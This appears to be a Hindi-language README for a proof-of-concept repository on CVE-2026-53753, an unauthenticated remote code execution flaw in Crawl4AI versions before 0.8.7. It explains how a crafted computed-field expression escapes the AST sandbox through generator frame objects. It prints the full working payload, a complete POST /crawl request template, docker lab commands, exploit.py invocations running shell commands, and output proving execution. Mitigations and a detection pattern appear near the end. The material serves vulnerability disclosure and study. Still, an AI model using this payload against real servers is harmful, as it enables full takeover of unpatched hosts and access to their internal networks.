
CVE-2026-53753 — Crawl4AI <0.8.7 अप्रमाणित RCE (AST sandbox escape gi_frame.f_back द्वारा). Lab + PoC, सत्यापित e2e.
Crawl4AI
< 0.8.7में पूर्व-प्रमाणीकरण RCE। एक निर्मितJsonCssExtractionStrategyस्कीमा जो असत्यापितPOST /crawlएंडपॉइंट पर भेजा जाता है, गणना-क्षेत्रों के मूल्यांकनकर्ता (_safe_eval_expression) तक पहुँचता है, इसकी AST अनुमति-सूची से Python फ्रेम ऑब्जेक्ट्स के माध्यम से बच निकलता है, वास्तविकbuiltinsतक पहुँचता है, और__import__('os').popen(<cmd>).read()चलाता है — जो कमांड के आउटपुट को JSON प्रतिक्रिया में इन-बैंड लौटाता है।
| CVE | CVE-2026-53753 |
| सलाह | GHSA-qxjp-w3pj-48m7 |
| प्रभावित | Crawl4AI <= 0.8.6 |
| ठीक किया गया | 0.8.7 |
| वर्ग | CWE-94 (कोड इंजेक्शन) / Python सैंडबॉक्स एस्केप |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई नहीं — शामिल कॉन्फ़िग में jwt_enabled: false है |
| स्थिति | पुष्टि — आधिकारिक unclecode/crawl4ai:0.8.6 इमेज के विरुद्ध एंड-टू-एंड पुनरुत्पादित किया गया |
गहराई से: नोड-दर-नोड AST वॉकथ्रू, रनटाइम फ्रेम स्टैक, अनुरोध डेटा-फ्लो और पैच डिफ के लिए
ANALYSIS.mdदेखें।
crawl4ai/extraction_strategy.py एक निष्कर्षण स्कीमा को गणना क्षेत्र (computed fields) परिभाषित करने देता है — छोटे Python एक्सप्रेशन जो प्रत्येक निकाले गए आइटम पर मूल्यांकित होते हैं। इन्हें _safe_eval_expression() द्वारा चलाया जाता है, जो AST अनुमति-सूची और एक छीन-हुई __builtins__ के साथ एक्सप्रेशन को सैंडबॉक्स करने का प्रयास करता है:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
वैलिडेटर अस्वीकार-द्वारा-उपसर्ग है: यह केवल उन नामों को अस्वीकार करता है जो _ से शुरू होते हैं (साथ ही import). वह एकमात्र ह्यूरिस्टिक पूरा सैंडबॉक्स है — और इसमें तीन छेद हैं जो एक पूर्ण एस्केप में संयोजित होते हैं:
स्कीमा इस फ़ंक्शन तक बिना प्रमाणीकरण के पहुँचती है: Docker API security.jwt_enabled: false भेजता है, इसलिए /crawl टोकन निर्भरता lambda: None है।
गणना-क्षेत्र का एक्सप्रेशन है:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
इसे टुकड़े-टुकड़े पढ़ना:
चूँकि जनरेटर का मान os.popen(cmd).read() है, कमांड का stdout फ़ील्ड मान बन जाता है और /crawl प्रतिक्रिया में वापस परिलक्षित होता है — एक इन-बैंड ओरेकल, किसी OAST की आवश्यकता नहीं।
जब list(g) जनरेटर को इटरेट करता है, कॉल स्टैक इस प्रकार दिखता है:
frame: _safe_eval_expression() <-- real builtins (__import__ lives here) ← f_back ×3
└ frame: <expression> (eval) <-- sandboxed builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- sandboxed ← f_back ×1
└ frame: <genexpr> g <-- RUNNING; g.gi_frame is this frame ← gi_frame
g.gi_frame.f_back केवल जनरेटर के चलने के दौरान जनशून्य होता है (इसलिए जनरेटर को स्वयं को संदर्भित करना चाहिए और list(g) द्वारा चलाया जाना चाहिए — एक अभी-शुरू-नहीं हुआ जनरेटर f_back is None होता है)। तीन बार f_back चलने पर _safe_eval_expression फ्रेम पर पहुँचता है, जिसका f_builtins पूर्ण builtins मॉड्यूल है — जिसमें से __import__ सबस्क्रिप्ट द्वारा निकाला जाता है।
फ्रेम गहराई इस कोड पथ के लिए स्थिर है:
f_back × 3Crawl4AI 0.8.6 के_safe_eval_expressionके लिए सही है।
आधिकारिक इमेज असुरक्षित डिफ़ॉल्ट (कोई प्रमाणीकरण नहीं) के साथ आती है:
# Option A — docker compose (normal Docker host with bridge networking)
docker compose -f lab/docker-compose.yml up -d
# Option B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
ब्राउज़र पूल को गर्म होने के लिए ~20 सेकंड प्रतीक्षा करें (docker logs crawl4ai-vuln → Application startup complete).
# Inspect the request body without sending it:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Fire it (command stdout comes back in the response):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py केवल Python मानक पुस्तकालय का उपयोग करता है — कोई निर्भरता नहीं।
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
out फ़ील्ड लाइव OS स्थिति है (id आउटपुट, uname, कंटेनर का os-release), अनुरोध की प्रतिध्वनि नहीं — uid=999(appuser) कंटेनर का सेवा खाता है, जो Crawl4AI होस्ट के अंदर कोड निष्पादन साबित करता है। एक अद्वितीय echo <marker> शब्दशः परिलक्षित होता है, जो पुष्टि करता है कि कमांड वास्तव में चला।
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… अनुरोध को स्व-निहित बनाता है — किसी आउटबाउंड फ़ेच की आवश्यकता नहीं; हमलावर HTML इनलाइन प्रदान करता है।baseSelector: "div" को केवल एक तत्व से मेल खाने की आवश्यकता है ताकि एक गणना क्षेत्र का मूल्यांकन किया जा सके। वास्तविक क्रॉल लक्ष्य के विरुद्ध, किसी भी चयनकर्ता का उपयोग करें जो पृष्ठ से मेल खाता हो।कोई भी नेटवर्क-पहुँच योग्य क्लाइंट डिफ़ॉल्ट परिनियोजन में बिना प्रमाणीकरण के Crawl4AI होस्ट पर मनमाना OS कमांड निष्पादित करता है — सर्वर का पूर्ण समझौता और उसके द्वारा पहुँचे जा सकने वाले किसी भी आंतरिक संसाधन में प्रवेश।
_safe_eval_expression हटाता है; expression गणना-क्षेत्र कुंजी अक्षम है — इसके बजाय एक जाँचे गए Python कॉल करने योग्य के साथ function कुंजी का उपयोग करें)।jwt_enabled: true + api_token) और Crawl4AI API को कभी भी अविश्वसनीय नेटवर्क पर उजागर न करें।POST /crawl (और /crawl/stream) बॉडी में gi_frame, f_back, f_builtins, या कोई computed फ़ील्ड जिसमें expression कुंजी है, को चिह्नित करें।
| # | छेद | यह क्यों मायने रखता है |
|---|
| 1 | gi_frame, f_back, f_builtins _ से शुरू नहीं होते | संपूर्ण Python फ्रेम/जनरेटर इंट्रोस्पेक्शन सतह पहुँच योग्य है। |
| 2 | obj['__import__'] एक ast.Subscript है, ast.Attribute नहीं | वैलिडेटर कभी भी डिक्ट-सबस्क्रिप्ट कीज़ का निरीक्षण नहीं करता, इसलिए डंडर की __import__ पास हो जाती है। |
| 3 | एक चल रहे जनरेटर की f_back श्रृंखला एक बाहरी फ्रेम की ओर ले जाती है जिसका f_builtins वास्तविक builtins है | छीन-हुई _SAFE_EVAL_BUILTINS से बचकर पूर्ण builtins (__import__, आदि) तक पहुँचता है। |
| अंश | भूमिका | वैलिडेटर इसे क्यों अनुमति देता है |
|---|
(lambda: ... )() | एक फ़ंक्शन स्कोप बनाता है ताकि वालरस-बाउंड नाम एक क्लोज़र सेल में रहता है। | ast.Lambda की जाँच नहीं की जाती। |
g := ( <expr> for i in [1]) | जनरेटर को g पर बाँधता है और जनरेटर बॉडी g (स्वयं) को संदर्भित करता है। | := और जनरेटर एक्सप्रेशन की जाँच नहीं की जाती। (वालरस एक कॉम्प्रिहेंशन आइटरेबल में अवैध है, इसलिए इसे इसके बजाय एक टपल तत्व में रखा जाता है।) |
list(g) | जनरेटर को चलाता है — ताकि बॉडी चलने पर इसका फ्रेम सक्रिय हो। | list सुरक्षित builtins में है। |
g.gi_frame | जनरेटर का फ्रेम ऑब्जेक्ट। | gi_frame _ से शुरू नहीं होता। |
.f_back.f_back.f_back | तीन फ्रेम ऊपर चलता है वास्तविक builtins वाले एक तक। | f_back _ से शुरू नहीं होता। |
.f_builtins | उस फ्रेम का builtins मैपिंग (वास्तविक वाला)। | f_builtins _ से शुरू नहीं होता। |
['__import__'] | builtins dict से __import__ लाता है। | डिक्ट सबस्क्रिप्ट — कभी निरीक्षण नहीं किया गया। |
('os') | __import__('os') → os मॉड्यूल। | कॉल टार्गेट एक Subscript है, Name/Attribute नहीं। |
.popen('id').read() | कमांड चलाता है और इसका stdout लौटाता है। | popen/read _ से शुरू नहीं होते। |
| लक्षण | कारण / समाधान |
|---|
:11235 पर Connection refused | कंटेनर अभी भी गर्म हो रहा है, या आपके Docker डेमॉन के पास कोई उपयोग योग्य bridge नेटवर्क नहीं है। Application startup complete तक प्रतीक्षा करें; यदि पोर्ट मैपिंग बाइंड नहीं होती है, तो कंटेनर को --network host के साथ चलाएँ। |
out null है | बेस सेलेक्टर किसी तत्व से मेल नहीं खाया — सुनिश्चित करें कि raw:// HTML में <div> है (या baseSelector समायोजित करें)। |
| 0.8.6 पर काम करता है लेकिन 0.8.7 पर नहीं | अपेक्षित — 0.8.7 _safe_eval_expression को हटाता है और expression कुंजी को पूरी तरह से अक्षम करता है (सुधार)। |